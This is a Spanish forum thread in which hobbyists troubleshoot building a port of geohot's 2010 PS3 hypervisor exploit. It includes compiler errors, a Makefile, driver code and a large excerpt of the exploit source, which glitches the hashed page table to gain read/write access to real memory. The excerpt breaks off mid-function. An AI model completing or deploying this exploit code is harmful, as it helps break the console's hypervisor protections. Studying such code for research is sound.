› Foros › PlayStation 3 › Scene
Psmaniaco escribió:LuzbelFullHD,he añadido las 2 lineas que has dicho y ahora falla por esto:israel@PS3ubuntu:~/Base_Exploit/Base_Exploit$ make [...]
Ahora falla por el archivo bootldr.elf,voy a ver que contiene.
Un saludo.
LuzbelFullHD escribió:Psmaniaco escribió:LuzbelFullHD,he añadido las 2 lineas que has dicho y ahora falla por esto:israel@PS3ubuntu:~/Base_Exploit/Base_Exploit$ make [...]
Ahora falla por el archivo bootldr.elf,voy a ver que contiene.
Un saludo.
Ya te comenté que si fallaba lo del sbrk, lo podías arreglar con una ñapa , pero que al final saldrían problemas por otro lado.
Esta claro que el compilador que estás usando no es compatible con estas fuentes. No vas a encontar el archivo bootldr.elf, porque precisamente lo que ha fallado ha sido su generación.
He bajado el zip de la dirección de megaupload que indicabas, y he visto que está sacado del blog de jaicrab.
En las instrucciones del blog lo dice claramente: "Ha sido compilado con el toolchain de pdaXrom"
y tu estás probando a compilarlo con el gcc que tienes en el ubuntu. Si quieres partir de estas fuentes tendrás que usar el toolchain de pdaXrom.
Por otro lado , esas fuentes no son otra cosa que el ps3sdk que mc empezó en ps2dev.org a partir de su demo de otheros.
Ifcaro y yo estuvimos en junio intentando poner en marcha el exploit con este sdk, pero no es nada facil. Hace falta conocer muy bien y en profundidad como va el tema de la gestión de memoria (MMU, HTAB , etc.) en el procesador de la PS3 . Es algo que desconozco y además no tengo tiempo libre para intentar aprenderlo ( e incluso teniéndolo quizas ni me enterase de como va )
Si quieres probar con un entorno mas estable, el compilador que me paso ifcaro está en http://www.megaupload.com/?d=15HD693J
Los fuentes que preparó ifcaro mezclando el ps3sdk y el exploit son estos (http://ps3zone.ifcaro.net/exploit.zip) , pero dan una excepción al ejecutarse al intentar acceder al HTAB en 0xD000080080000000ULL
En el exploit original en linux funcionan al estar inicializado por el kernel el acceso al HTAB
En ps3sdk es algo que debe hacer uno mismo.
El tema está en intentar mapear esta dirección de memoria usando las funciones de manejo de la MMU del ps3sdk. Pero para esto , como digo, hace falta conocer la arquitectura del procesador . Suerte para el que tenga tiempo y se atreva con ello
XDarkXAleX escribió:OffTopic
Soy yo o en esta foto, en el chip de abajo parece que pone x360? xD que efecto óptico más guapo
root@PS3ubuntu:/home/israel/ps3dev/ps3sdksrc# make
make all-recursive
make[1]: se ingresa al directorio `/home/israel/ps3dev/ps3sdksrc'
Making all in src
make[2]: se ingresa al directorio `/home/israel/ps3dev/ps3sdksrc/src'
Making all in base
make[3]: se ingresa al directorio `/home/israel/ps3dev/ps3sdksrc/src/base'
make[3]: No se hace nada para `all'.
make[3]: se sale del directorio `/home/israel/ps3dev/ps3sdksrc/src/base'
Making all in av
make[3]: se ingresa al directorio `/home/israel/ps3dev/ps3sdksrc/src/av'
.deps/avInternal.Po:1: *** hay varios patrones de objetivos. Alto.
make[3]: se sale del directorio `/home/israel/ps3dev/ps3sdksrc/src/av'
make[2]: *** [all-recursive] Error 1
make[2]: se sale del directorio `/home/israel/ps3dev/ps3sdksrc/src'
make[1]: *** [all-recursive] Error 1
make[1]: se sale del directorio `/home/israel/ps3dev/ps3sdksrc'
make: *** [all] Error 2
Psmaniaco escribió: [...]
O sea que en caso de que consiguiera compilar el codigo del otheros y ejecutarlo al intentar acceder a esa direccion de memoria daria una excepcion(o lo que es lo mismo un kernel panic).
Psmaniaco escribió: [...]
Para hacer lo que comentas con el SDK¿como me aconsejarias proceder con el tema? Por que en lo que se refiere a conocer la arquitectura del procesador si lo tengo que aprender lo aprendo si es necesario(si soy muy cabezon y cuando algo se me mete ya no me lo sacan ).
Un saludo.
LuzbelFullHD escribió:Psmaniaco escribió: [...]
O sea que en caso de que consiguiera compilar el codigo del otheros y ejecutarlo al intentar acceder a esa direccion de memoria daria una excepcion(o lo que es lo mismo un kernel panic).
Un otheros no tendría porque acceder a esa dirección de memoria y no dar ningún problema
Un otheros tendría obligatoriamente que acceder a esa dirección de memoria y, por tanto, o se mapea correctamente, o nunca tendrás el exploit operativo.Psmaniaco escribió: [...]
Para hacer lo que comentas con el SDK¿como me aconsejarias proceder con el tema? Por que en lo que se refiere a conocer la arquitectura del procesador si lo tengo que aprender lo aprendo si es necesario(si soy muy cabezon y cuando algo se me mete ya no me lo sacan ).
Un saludo.
Yo te recomiendo que uses tanto el SDK como la base del otheros+exploit de ifcaro. Así partes de algo estable y que sabes que compila , y no pierdes el tiempo en arreglar fuentes, compiladores o SDK que dan problemas. Con esto, te centrarías en trabajar en el problema en sí, y no te buscarías problemas adicionales.
Y si tienes interés en aprender lo necesario sobre la gestión de memoria del Cell, los libros que tienes que buscar (están por la web de IBM) son:
- PowerPC Architecture, Book III v2.02
- Cell Broadband Engine Handbook v1.0
Psmaniaco escribió:Gracias LuzBellFullHD,una cosa ¿donde puedo bajarme la base del otheros de Ifcaro?por que en su web no lo encuentro.
Un saludo.
Psmaniaco escribió:Ok,ya lo tengo y no me salen mas que problemas,he metido los archivos base del otheros en la carpeta ps3dev/ps3sdk(esta en la unidad C de mi PC)y al intentar compilarlo me salta un error diciendo que el archivo /ps3sdk/build.mak no se encuentra en el directorio cuando si esta hay¿como puedo solucionar este error?por que ya empieza a ser desesperante.
Un saludo.
Psmaniaco escribió:Efectivamente estoy usando el Windows 7 y el CMD lo ejecuto como adminstrador pero me salta el error antes mencionado al ejecutar make en el codigo fuente de otheros(el de ifcaro).
Un saludo.
akenateb escribió:Abre 'Makefile'
localiza ->include $(PS3SDK)/build.mak
--si tengo build.mak en c:/tmp--
se keda asi
include c:/tmp/build.mak
S@|u2.
TARGET = exploit
FINAL_TARGET = exploit.elf
OBJS = system/dev.o system/flash.o system/sysmgr.o \
main.o PS3HTAB.o PS3SLB.o exploit.o
INCDIR = ./include
CFLAGS = -O2 -G0 -Wall
CXXFLAGS = $(CFLAGS)
ASFLAGS = $(CFLAGS)
LIBDIR =
LDFLAGS =
PS3SDK=$(PS3DEV)/ps3sdk
include $(PS3SDK)/build.mak
bld:
ppu-objcopy -O binary $(FINAL_TARGET) bin
gzip -c9v bin > otheros.bld
make: ppu-gcc : Command not found
make: *** [system/dev.o] Error 127
#include <stdio.h>
#include <stdlib.h>
#include <ps3hv.h>
#include <ps3mmu.h>
#include "dev.h"
#define DEBUG
#define DBG printf
/* for flags field in struct dev */
#define MMIO_MAPPED (1<<0)
#define DMA_ALLOCATED (1<<1)
#define DMA_MAPPED (1<<2)
#define DEVICE_USE_MMIO (1<<0)
#define DEVICE_USE_DMA (1<<1)
#define DEVICE_8BIT_DMA (1<<2)
static struct devinfo {
unsigned short flags, bus_type, dev_type, reg_index;
struct driver *driver;
struct dev *dev;
#ifdef DEBUG
const char *name;
#define NAME(n) .name=n
#else
#define NAME(n)
#endif
} devinfo[] = {
/*{ .bus_type = 4, .dev_type = 4, .reg_index = 0, .driver = &usb_ohci_driver,
.flags = DEVICE_USE_MMIO | DEVICE_USE_DMA | DEVICE_8BIT_DMA, NAME("USB") },*/
/*{ .bus_type = 5, .dev_type = 0, .driver = &hdd_driver,
.flags = DEVICE_USE_DMA, NAME("Harddisk") },*/
{ .bus_type = 5, .dev_type = 14, .driver = &flash_driver,
.flags = DEVICE_USE_DMA, NAME("Flash") },
};
#define NUM_DEVICES (sizeof(devinfo)/sizeof(devinfo[0]))
static void low_close_dev(struct dev *dev){
if(dev->flags & DMA_MAPPED)
lv1_unmap_device_dma_region(dev->bus_id, dev->device_id, dev->dma_offset, 128*1024*1024);
if(dev->flags & DMA_ALLOCATED)
lv1_free_device_dma_region(dev->bus_id, dev->device_id, dev->dma_offset);
if(dev->flags & MMIO_MAPPED)
lv1_unmap_device_mmio_region(dev->bus_id, dev->device_id, dev->mmio_lpar);
lv1_close_device(dev->bus_id, dev->device_id);
free(dev);
}
void dev_init(){
int64_t r;
uint64_t v1, v2, ndev;//, dma_addr;
uint64_t btype, dtype;
int i, bus_index;
uint64_t dev_index;
uint64_t bus_id, device_id;
for(bus_index=0; bus_index<5; bus_index++) {
r = lv1_get_repository_node_value(1,
0x0000000062757300+bus_index, /* "bus" */
0x7479706500000000, /* "type" */
0, 0, &btype, &v2);
if(r)
continue;
r = lv1_get_repository_node_value(1,
0x0000000062757300+bus_index, /* "bus" */
0x6964000000000000, /* "id" */
0, 0, &bus_id, &v2);
if(r)
continue;
r = lv1_get_repository_node_value(1,
0x0000000062757300+bus_index, /* "bus" */
0x6e756d5f64657600, /* "num_dev" */
0, 0, &ndev, &v2);
if(r)
continue;
for(dev_index=0; dev_index<ndev; dev_index++) {
r = lv1_get_repository_node_value(1,
0x0000000062757300+bus_index, /* "bus" */
0x6465760000000000+dev_index, /* "dev" */
0x7479706500000000, /* "type" */
0, &dtype, &v2);
if(r)
continue;
r = lv1_get_repository_node_value(1,
0x0000000062757300+bus_index, /* "bus" */
0x6465760000000000+dev_index, /* "dev" */
0x6964000000000000, /* "id" */
0, &device_id, &v2);
if(r)
continue;
for(i=0; i<NUM_DEVICES; i++) {
struct devinfo *info = &devinfo[i];
if(info->dev == NULL &&
btype == info->bus_type && dtype == info->dev_type) {
struct dev *dev;
#ifdef DEBUG
DBG("Found %s at %d/%ld (%ld/%ld)\n",
info->name, bus_index, dev_index, bus_id, device_id);
#endif
r = lv1_open_device(bus_id, device_id, 0);
#ifdef DEBUG
DBG("lv1_open_device (%ld, %ld, 0) = %s\n",
bus_id, device_id, ps3_result(r));
#endif
if(r)
continue;
dev = calloc(1, sizeof(struct dev));
if(!dev) {
lv1_close_device(bus_id, device_id);
continue;
}
dev->bus_id = bus_id;
dev->device_id = device_id;
dev->bus_index = bus_index;
dev->dev_index = dev_index;
dev->flags = 0;
if(info->flags & DEVICE_USE_MMIO) {
#ifdef DEBUG
DBG("DEVICE_USE_MMIO\n");
#endif
r = lv1_get_repository_node_value(1,
0x0000000062757300+bus_index, /* "bus" */
0x6465760000000000+dev_index, /* "dev" */
0x7265670000000000+info->reg_index, /* "reg" */
0x6461746100000000, /* "data" */
&v1, &v2);
if(r){
low_close_dev(dev);
continue;
}
r = lv1_map_device_mmio_region(bus_id, device_id,
v1, v2, 12, &dev->mmio_lpar);
if(r){
low_close_dev(dev);
continue;
}
dev->flags |= MMIO_MAPPED;
dev->regs = ps3MmuIoRemap(dev->mmio_lpar, v2);
}
if(info->flags & DEVICE_USE_DMA){
#ifdef DEBUG
DBG("DEVICE_USE_DMA\n");
#endif
r = lv1_allocate_device_dma_region(bus_id, device_id,
128*1024*1024, 12,
((info->flags & DEVICE_8BIT_DMA)?2:0),
&dev->dma_offset);
if(r) {
low_close_dev(dev);
continue;
}
dev->flags |= DMA_ALLOCATED;
r = lv1_map_device_dma_region(bus_id, device_id, 0, dev->dma_offset,
128*1024*1024, 0xf800000000000000UL);
if(r){
low_close_dev(dev);
continue;
}
dev->flags |= DMA_MAPPED;
}
#ifdef DEBUG
DBG("Driver init...\n");
#endif
if(info->driver->driver_init(dev) >= 0)
info->dev = dev;
else {
info->driver->driver_term(dev);
low_close_dev(dev);
}
}
}
}
}
}
void dev_term(){
int i;
for(i=0; i<NUM_DEVICES; i++) {
struct devinfo *info = &devinfo[i];
if(info->dev) {
info->driver->driver_term(info->dev);
low_close_dev(info->dev);
info->dev = NULL;
}
}
}
Psmaniaco escribió:Ok,ya lo tengo y no me salen mas que problemas,he metido los archivos base del otheros en la carpeta ps3dev/ps3sdk(esta en la unidad C de mi PC)y al intentar compilarlo me salta un error diciendo que el archivo /ps3sdk/build.mak no se encuentra en el directorio cuando si esta hay¿como puedo solucionar este error?por que ya empieza a ser desesperante.
Un saludo.
LuzbelFullHD escribió:Psmaniaco escribió:Ok,ya lo tengo y no me salen mas que problemas,he metido los archivos base del otheros en la carpeta ps3dev/ps3sdk(esta en la unidad C de mi PC)y al intentar compilarlo me salta un error diciendo que el archivo /ps3sdk/build.mak no se encuentra en el directorio cuando si esta hay¿como puedo solucionar este error?por que ya empieza a ser desesperante.
Un saludo.
En c:\ps3dev tienes que tener un archivo ps3dev.bat
Abre un "cmd" , ve al directorio c:\ps3dev y ejecuta ps3dev.bat. Esto tiene que inicializar las variables de entorno adecuadas.
Solo podras compilar desde el "cmd" que has abierto y tendrás que repetir estos pasos cada vez que reinicies.
collect2: ld returnned 1 exit status
make: *** [exploit.elf] Error 1
collect2: ld returnned 1 exit status
make: *** [exploit.elf] Error 1
A ver que puñetas me esta fallando ahora joer esto es mas dificil de lo que parece.
Un saludo.
Psmaniaco escribió:Bueno acabo de hacerlo y funciona un rato hasta que me salta el errorcollect2: ld returnned 1 exit status
make: *** [exploit.elf] Error 1
A ver que puñetas me esta fallando ahora joer esto es mas dificil de lo que parece.
Un saludo.
Psmaniaco escribió:Pues ahora que lo dices tengo tambien instalado el devKitPro(para powerPC,ARM,PSP,etc).
Espacio tengo 202 GB libres ya que lo haciendo desde el CMD de Windows 7(previamente le doy permisos de administrados y ejecuto el ps3dev.bat para cambiar las variables;una cosa como ¿hago para copiar-pegar el contenido de CMD? ya que no me deja copiarlo para pegarlo aqui.
Un saludo.
LuzbelFullHD escribió:He repetido todos los pasos (descargar el sdk de ifcaro, descargar el exploit de ifcaro y compilar) y efectivamente da un error el ld al final.
En exploit.c se llama a la funcion lv1_get_virtual_address_space_id_of_ppe en la línea 539. Es algo que ifcaro no terminó de implementar.
Es algo que tendrás que arreglar junto al mapeo del HTAB.
Esto se ejecuta en la segunda fase del exploit , así que , por ahora , puedes comentar o borrar la línea. Así podrás compilar y trabajar. El código ni siquiera llegará a esa línea ya que saltará la excepción que te comenté mucho antes.
Si consigues arreglar el mapeo del HTAB, entonces ya podrás preocuparte por esa línea y arreglarlo también.
ifcaro escribió:LuzbelFullHD escribió:He repetido todos los pasos (descargar el sdk de ifcaro, descargar el exploit de ifcaro y compilar) y efectivamente da un error el ld al final.
En exploit.c se llama a la funcion lv1_get_virtual_address_space_id_of_ppe en la línea 539. Es algo que ifcaro no terminó de implementar.
Es algo que tendrás que arreglar junto al mapeo del HTAB.
Esto se ejecuta en la segunda fase del exploit , así que , por ahora , puedes comentar o borrar la línea. Así podrás compilar y trabajar. El código ni siquiera llegará a esa línea ya que saltará la excepción que te comenté mucho antes.
Si consigues arreglar el mapeo del HTAB, entonces ya podrás preocuparte por esa línea y arreglarlo también.
Buenas, el error ese es porque esa funcion en el sdk se llama de otra forma, solo tienes que renombrarla a lv1_get_virtual_address_space_id_of_pu yo es que hice lo contrario edite y recompile el sdk.
Un saludo
Psmaniaco escribió:Gracias ifcaro,pero ¿que linea del codigo tengo que cambiar para esta funcion funcione correctamente?
Un saludo.
atlantis escribió:Psmaniaco escribió:Gracias ifcaro,pero ¿que linea del codigo tengo que cambiar para esta funcion funcione correctamente?
Un saludo.
Buenas, imagino que a todas las llamadas a esa función. No he mirado el código del exploit, pero si sólo se le llama una vez, según lo que ha escrito LuzbelFullHD sería en la línea 539. Y si se le llama más veces, con cualquier editor (con el bloc de notas mismo jaja) o entorno buscas esa función y le cambias el nombre por el que ha dicho ifcaro.
Un saludo y ánimo.
Psmaniaco escribió:[...]necesito en que archivo se encuentra esa linea que tengo que modificar sino ando perdido.
luzbelfullhd escribió:En exploit.c se llama a la funcion lv1_get_virtual_address_space_id_of_ppe en la línea 539
// PS3 exploit code
// c2010 geohot
// I DO NOT CONDONE PIRACY, EXPLOIT IS FOR RESEARCH USE ONLY
//
// Modified by xorloser in an attempt to make it more understandable.
//
// Exploit Explanation
//
// In order to understand how this exploit works, you need to understand
// how the mapping of PS3 memory is performed. I give a brief description
// below that should suffice for understanding how the exploit works.
// For a more in-depth understanding please refer to the documentation:
// http://download.boulder.ibm.com/ibmdl/pub/software/dw/power/pa-ppcbook3.zip
// https://www-01.ibm.com/chips/techlib/techlib.nsf/techdocs/1741C509C5F64B3300257460006FD68D/$file/CellBE_PXCell_Handbook_v1.11_12May08_pub.pdf
//
// When programs access memory they see an address range from 0 to the
// upper address limit. For simplicity we will assume an upper address limit
// of 0xFFFFFFFF giving a program address range of 0x00000000 - 0xFFFFFFFF.
// The PS3 itself has 256MB of RAM which gives a RAM address range of
// 0x00000000 - 0x10000000. Memory mapping is employed to allow multiple
// programs to run at the same time with each program thinking it has access
// to the full address range which is larger than the available
// amount of RAM.
//
// The programs address space is known as the Effective Address (EA) space.
// The actual RAM address range is known as the Real Address (RA) space.
// The intermediate mapping between EA space and RA space is known as the
// Virtual Address (VA) space.
//
// In order to map a programs memory address (EA) to a RAM address (RA) the
// Segment Lookaside Buffer (SLB) first does the EA -> VA mapping. Then the
// Hashed Page Table (HTAB) does the VA -> RA mapping. Therefore the mapping
// from EA to RA is a two step process: EA -> VA -> RA
//
// SLB related code is in PS3SLB.h
// HTAB related code is in PS3HTAB.h
//
//
// Just to make things more complicated, on the PS3 there are also LPAR Addresses.
// These are equivalent of a Real Address for a particular LPAR (Logical Partition).
// These addresses are usually used with the lv1 syscalls.
//
// Also Real Addresses are sometimes referred to as Physical Addresses (PA) since they
// address the actual physical RAM hardware.
//
// xorloser - February 2010
// www.xorloser.com
//
/*#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/fcntl.h>
#include <asm/abs_addr.h>
#include <asm/mmu.h>
#include <asm/lmb.h>
#include <asm/io.h>
#include <asm/tlb.h>
#include <asm/lv1call.h>
#include <linux/kernel.h>
#include <linux/threads.h>
#include <linux/pci.h>
#include <linux/sysdev.h>
#include <asm/lv1call.h>
#include <asm/pci-bridge.h>
#include <asm/uaccess.h>
#include <asm/hw_irq.h>
#include <linux/proc_fs.h>
#include <linux/smp_lock.h>
#include <linux/irq.h>*/
#include <stdio.h>
#include <string.h>
#include <ps3hv.h>
#include <ps3mmu.h>
#include "PS3SLB.h"
#include "PS3HTAB.h"
// Special hardcoded addresses used for memory manipulation
#define SPECIAL_EA 0x5000000000000000
#define SPECIAL_VA 0x0000FFFF00000000
#define SPECIAL_VA_MASK 0xFFFFFFFF00000000
// Special flags used for memory manipulation
#define SPECIAL_VA_FLAGS_VALID (HTABE_VALID)
#define SPECIAL_VA_FLAGS_VALID_LARGE (HTABE_VALID|HTABE_LARGEPAGE)
#define SPECIAL_RA_FLAGS_READONLY (HTABE_ACCESSED|HTABE_DIRTY|HTABE_COHERENT|HTABE_NOEXEC|HTABE_READONLY)
#define SPECIAL_RA_FLAGS_READWRITE (HTABE_ACCESSED|HTABE_DIRTY|HTABE_COHERENT|HTABE_NOEXEC|HTABE_READWRITE)
// Macro for creating a special effective address from a base address
// and an index into the HTAB.
#define CALC_SPECIAL_EA(addr, htab_idx) \
(uint64_t)((addr) | (((uint64_t)(htab_idx)/8)^((HTAB[(uint64_t)(htab_idx)].AVPN>>5) & 0x1FFF)) << ((HTAB[(uint64_t)(htab_idx)].L)?EXP_16MB:EXP_4KB))
// Macro for creating a special virtual address from a base address
// and an index into the HTAB.
#define CALC_SPECIAL_VA(addr, idx) \
((uint64_t)(addr) | (((uint64_t)(htab_idx))<<16) | ((((((uint64_t)htab_idx)>>3) ^ (((uint64_t)htab_idx)<<4)) & 0x1800) >> 4))
#define PPE_ID0 0
#define PPE_ID1 1
#define PPE_CPU_ID0 0
#define PPE_CPU_ID1 1
/*static uint64_t gs_irq0, gs_irq1, gs_flags = 0;
static spinlock_t gs_mr_lock;
#define KERNEL_CHILL_BEGIN() \
{ \
gs_irq0 = __pa(get_irq_chip_data(20)); \
gs_irq1 = __pa(get_irq_chip_data(16)); \
gs_mr_lock = SPIN_LOCK_UNLOCKED; \
gs_flags = 0; \
spin_lock_irqsave(&gs_mr_lock, gs_flags); \
preempt_disable(); \
lock_kernel(); \
hard_irq_disable(); \
lv1_configure_irq_state_bitmap(PPE_ID1, PPE_CPU_ID0, 0); \
lv1_configure_irq_state_bitmap(PPE_ID1, PPE_CPU_ID1, 0); \
}
#define KERNEL_CHILL_END() \
{ \
lv1_configure_irq_state_bitmap(PPE_ID1, PPE_CPU_ID1, gs_irq1); \
lv1_configure_irq_state_bitmap(PPE_ID1, PPE_CPU_ID0, gs_irq0); \
__hard_irq_enable(); \
unlock_kernel(); \
preempt_enable(); \
spin_unlock_irqrestore(&gs_mr_lock, gs_flags); \
}
*/
#define KERNEL_CHILL_BEGIN() {}
#define KERNEL_CHILL_END() {}
// Clears Instruction Cache
#define CLEAR_ICACHE() \
{ \
uint64_t lpar_addr_tmp, muid; \
lv1_allocate_memory(SIZE_4KB, EXP_4KB, 0, 0, &lpar_addr_tmp, &muid); \
lv1_release_memory(lpar_addr_tmp); \
}
// Clears Data Cache
#define CACHE_LENGTH 0x100000
static volatile uint64_t cache_clear[CACHE_LENGTH / 8];
#define CLEAR_DCACHE() \
{ \
memset((void*)cache_clear, 0xAA, CACHE_LENGTH); \
}
// Search the HTAB contents for a special entry that is still valid
//
// returns: index of entry if found
// < 0 if not found
int get_dangling_htab_entry_idx(void)
{
int htab_idx;
// Check HTAB contents for a "dangling" entry
for(htab_idx=0; htab_idx<HTAB_COUNT; htab_idx++)
{
if( HTABE_IS_VALID(HTAB[htab_idx]) &&
(HTABE_GET_VA(HTAB[htab_idx]) & SPECIAL_VA_MASK) == SPECIAL_VA )
{
return htab_idx;
}
}
return -1;
}
int is_exploit_stage1_done(void)
{
int idx = get_dangling_htab_entry_idx();
if(idx < 0)
return 0;
return 1;
}
int is_exploit_stage2_done(void)
{
// This is the HTAB Entry that the exploit inserts.
// It gives read/write access to real memory address 0 via SPECIAL_VA.
// 0x0000FFFF_00000005
// 0x00000000_00000196
HTABE htabe;
htabe_set(&htabe,
SPECIAL_VA, SPECIAL_VA_FLAGS_VALID_LARGE,
0, SPECIAL_RA_FLAGS_READWRITE);
// Check if the exploit entry is already inserted in the HTAB
if( HTAB[1].Num[0] == htabe.Num[0] &&
HTAB[1].Num[1] == htabe.Num[1] )
{
// exploit is already installed
return 1;
}
else
{
// exploit is not yet fully installed
return 0;
}
}
int is_exploit_stage3_done(void)
{
uint64_t ret, addr;
addr = 0x2401FC00000;
asm volatile( "mr 3, %1\n"
"li 11, 32\n"
"sc 1\n"
"mr %0, 3\n"
: "=r" (ret)
: "r" (addr)
: "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12");
return (ret != 0xFFFFFFEC) ? 1 : 0;
}
// Perform first stage of exploit.
//
// This allocates a block of memory and then points every
// unused HTAB Entry at this memory block.
//
// It then frees the block of memory at which time the system
// is responsible for invalidating all HTAB entries that pointed
// to the block of memory.
//
// The trick is to "glitch" the RAM with some external hardware during
// the time the system is invalidating all HTAB entries in order to
// stop the invalidation of a HTAB Entry from occuring.
//
// If you are lucky and this occurs then you have a "dangling HTAB
// Entry" that will be utilised in the second stage of the exploit.
//
// args: current exploit try number
// total nuber of exploit tries
// returns: 1 if exploited successfully
// 0 if not exploited yet
int exploit_first_stage(int num, int total)
{
int htab_idx;
uint64_t lpar_addr, muid, status=0;
volatile register int reg_cnt;
// If already exploited, then return now
if( is_exploit_stage1_done() )
return 1;
// Allocate memory block to base the exploit around
if( lv1_allocate_memory(SIZE_1MB, EXP_1MB, 0, 0, &lpar_addr, &muid) )
{
printf("STAGE1: Error allocating memory\n");
return 0;
}
// The button should actually be pressed AFTER the HTAB write code below.
// However the print takes a while to appear on the console, so we set it
// to print ahead of time in the hope that it will appear at the correct time... :P
printf(".\n");
printf("vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv\n");
printf("PRESS THE BUTTON IN THE MIDDLE OF THIS %d/%d\n", num, total);
// Increment through all HTAB Entries looking for entries that are
// unused or previously associated with this exploit.
// Make all these entries point to the newly allocated memory block.
// Start at entry 3 since the first few are used for special things.
for(htab_idx=3; htab_idx<HTAB_COUNT; htab_idx++)
{
if( !HTABE_IS_VALID(HTAB[htab_idx]) ||
(HTABE_GET_VA(HTAB[htab_idx]) & SPECIAL_VA_MASK) == SPECIAL_VA )
{
HTABE htabe;
htabe_set_lpar(&htabe,
CALC_SPECIAL_VA(SPECIAL_VA, htab_idx), SPECIAL_VA_FLAGS_VALID,
lpar_addr, SPECIAL_RA_FLAGS_READWRITE);
if( lv1_write_htab_entry(0, htab_idx, htabe.Num[0], htabe.Num[1]) )
printf("STAGE1: Error writing HTAB entry 0x%X: %016lx %016lx\n", htab_idx, htabe.Num[0], htabe.Num[1]);
}
}
KERNEL_CHILL_BEGIN();
// clear caches
//CLEAR_ICACHE
uint64_t lpar_addr_tmp;
lv1_allocate_memory(SIZE_4KB, EXP_4KB, 0, 0, &lpar_addr_tmp, &muid);
lv1_release_memory(lpar_addr_tmp);
//CLEAR_DCACHE
//memset((void*)cache_clear, 0xAA, CACHE_LENGTH);
// Delay for a while, then when in the middle of the delay
// release then memory block before finishing the rest of the delay.
// During this time the hardware glitch is done, and so by delaying
// it is hoped that if the glitch misses its target it will not hit
// something else that it should not.
status = 1;
#define RELEASE_MEM_DELAY 0x2000000
for(reg_cnt=0; reg_cnt<RELEASE_MEM_DELAY; reg_cnt++)
{
// This checks if it is halfway through the delay.
if(reg_cnt==(RELEASE_MEM_DELAY/2))
{
// Release memory and clear the data cache to ensure
// all data gets written back to memory.
status = lv1_release_memory(lpar_addr);
//CLEAR_DCACHE
//memset((void*)cache_clear, 0xAA, CACHE_LENGTH);
}
}
KERNEL_CHILL_END();
printf("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n");
if(status)
printf("STAGE1: Error releasing memory!\n");
// Check if there are any valid htab entries that have been exploited
htab_idx = get_dangling_htab_entry_idx();
if(htab_idx < 0)
{
// Didn't successfully exploit a HTAB Entry
return 0;
}
printf("STAGE1: Successfully glitched HTAB Contents!!!!!\n");
for(htab_idx=0; htab_idx<HTAB_COUNT; htab_idx++)
{
if( HTABE_IS_VALID(HTAB[htab_idx]) &&
(HTABE_GET_VA(HTAB[htab_idx]) & SPECIAL_VA_MASK) == SPECIAL_VA )
{
printf("STAGE1: Glitched HTAB: 0x%016lx 0x%016lx\n", HTAB[htab_idx].Num[0], HTAB[htab_idx].Num[1]);
}
}
return 1;
}
// Copy the current HTAB into a new virtual space
//
// args: ID of virtual space to copy to
// lpar address of destination HTAB
// real address of destination HTAB
// lpar address of source HTAB
// real address of source HTAB
void copy_htab_to_new_vas(uint64_t destVasID, uint64_t destHtabLpar, uint64_t destHtabRA,
uint64_t srcHtabLpar, uint64_t srcHtabRA)
{
uint64_t usb1_ra, usb2_ra, usb3_ra, usb4_ra;
uint64_t usb1_lpar, usb2_lpar, usb3_lpar, usb4_lpar;
uint64_t ea, ra, my_lpar;
int htab_idx, slb_idx;
HTABE* dest_htab;
// I don't these hardcoded values are correct for non v2.42 firmwares...
usb1_lpar = 0x4000001d0000; usb1_ra = htab_ra_from_lpar(usb1_lpar);
usb2_lpar = 0x4000001e0000; usb2_ra = htab_ra_from_lpar(usb2_lpar);
usb3_lpar = 0x4000001f0000; usb3_ra = htab_ra_from_lpar(usb3_lpar);
usb4_lpar = 0x400000200000; usb4_ra = htab_ra_from_lpar(usb4_lpar);
// printf("USB Addresses:\n");
// printf("0x%016lx -> 0x%016lx\n", usb1_lpar, usb1_ra);
// printf("0x%016lx -> 0x%016lx\n", usb2_lpar, usb2_ra);
// printf("0x%016lx -> 0x%016lx\n", usb3_lpar, usb3_ra);
// printf("0x%016lx -> 0x%016lx\n", usb4_lpar, usb4_ra);
// get a readonly pointer to the new HTAB
dest_htab = ps3MmuIoRemap(destHtabLpar, SIZE_1MB);
// Copy the HTAB one entry at a time
// (Skip the first entry as it contains the mapping that allows
// read/write access to the original HTAB contents)
slb_read_all_entries();
for(htab_idx=1; htab_idx<HTAB_COUNT; htab_idx++)
{
// ignore invalid entries
if( !HTABE_IS_VALID(HTAB[htab_idx]) )
continue;
// Find this HTAB Entry in the SLB
ea = 0xFFFFFFFFFFFFFFFF;
for(slb_idx=0; slb_idx<SLB_COUNT; slb_idx++)
{
if( SLBE_IS_VALID(SLB[slb_idx]) &&
SLBE_GET_VA(SLB[slb_idx]) == (HTABE_GET_VA(HTAB[htab_idx])&0xFFFFFFFFFFFFF000) )
{
ea = SLBE_GET_EA(SLB[slb_idx]);
}
}
// If HTAB Entry isn't in SLB, then ignore it.
// Or if it is our special entry then also ignore it.
if( ea == 0xFFFFFFFFFFFFFFFF ||
ea == SPECIAL_EA )
continue;
// calc lpar from ra
if( HTAB[htab_idx].L )
ra = HTAB[htab_idx].Num[1] & 0xFFFFFFFFFFFFF000;
else
ra = HTABE_GET_RA(HTAB[htab_idx]);
my_lpar = 0xFFFFFFFFFFFFFFFF;
if( ra >= 0x01000000 && ra < 0x10000000)
{
if( ra >= 0x08000000 ) {
my_lpar = (ra-0x08000000);
} else {
my_lpar = 0x6c0058000000 | (ra-0x01000000);
}
}
else if( (ra&0xFFFFFFFFFFF00000) == srcHtabRA )
my_lpar = srcHtabLpar + (ra-srcHtabRA);
else if( (ra&0xFFFFFFFFFFF00000) == destHtabRA )
my_lpar = destHtabLpar + (ra-destHtabRA);
else if( ra == usb1_ra )
my_lpar = usb1_lpar;
else if( ra == usb2_ra )
my_lpar = usb2_lpar;
else if( ra == usb3_ra )
my_lpar = usb3_lpar;
else if( ra == usb4_ra )
my_lpar = usb4_lpar;
else if( ra == 0x3e0000 )
my_lpar = 0x4000001a0000;
else if( ra == 0x3e1000 )
my_lpar = 0x4000001a1000;
else if( ra == 0x8d3000 )
my_lpar = 0x30000000e000;
else if( ra == 0x8dd000 )
my_lpar = 0x300000010000;
else if( ra == 0x202000 )
my_lpar = 0x300000012000;
else if( ra == 0x203000 )
my_lpar = 0x300000014000;
else if( ra == 0x3ac000 )
my_lpar = 0x300000016000;
else if( ra == 0x3ad000 )
my_lpar = 0x300000018000;
else if( ra >= 0x28000080000 && ra < 0x28000088000 )
my_lpar = 0x3c0000108000 + (ra-0x28000080000);
